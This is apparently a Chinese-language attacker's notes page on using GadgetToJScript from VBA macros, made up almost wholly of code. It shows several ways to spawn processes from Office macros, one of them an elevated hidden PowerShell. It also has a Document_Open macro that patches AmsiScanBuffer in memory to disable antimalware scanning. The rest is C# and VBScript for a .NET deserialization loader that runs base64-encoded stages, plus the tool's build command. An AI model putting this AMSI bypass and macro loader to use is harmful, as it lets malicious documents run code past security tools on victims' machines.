GadgetToJScript在VBA中的利用

CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"

CreateObject("WScript.Shell").Run "powershell.exe ..............."

s = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("notepad.exe", Null, Null, intProcessID)

Set obj3 = GetObject("new:13709620-C279-11CE-A49E-444553540000")
obj3.ShellExecute "PowerShell.exe", "", "", "runas", 0

Set outlookApp = CreateObject("Outlook.Application")
outlookApp.CreateObject("Wscript.shell").Run "notepad.exe", 0

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    
End Sub

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Configuration;

namespace serializable
{
    class NonSerializable
    {
        private string _text;

        public NonSerializable(string text)
{
            _text = text;
        }

        public override string ToString()
{
            return _text;
        }
    }

    // Custom serialization surrogate
    class _SurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void TestObjectSerializedRef()
{
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new _SurrogateSelector();
            fmt.Serialize(stm, new NonSerializable("Hello World!"));
            stm.Position = 0;

            // Should print Hello World!.
            Console.WriteLine(fmt.Deserialize(stm));
        }
        static void Main(string[] args)
{ 
            TestObjectSerializedRef();
        }
    }
}

        static void Main(string[] args)
        {
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            TestObjectSerializedRef();
        }

Function Base64ToStream(b,l)
  Dim enc, length, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Dim shell
Set shell = CreateObject("WScript.Shell")
Dim ver
ver = "v4.0.30319"
On Error Resume Next
shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"
If Err.Number <> 0 Then
  ver = "v2.0.50727"
  Err.Clear
End If
shell.Environment("Process").Item("COMPLUS_Version") = ver
Dim fmt_1
Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341))

If Err.Number <> 0 Then
  Dim fmt_2
  Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
  fmt_2.Deserialize_2(Base64ToStream(stage_2, 12424))
End If

using System;
using System.Windows.Forms;

namespace Test
{
    public class Program
    {
    public Program()
    {
      MessageBox.Show("Hello, World!");
    }
    }
}

GadgetToJScript.exe -b -w vbs -c hello.cs -o test -d System.dll -d System.Windows.Forms.dll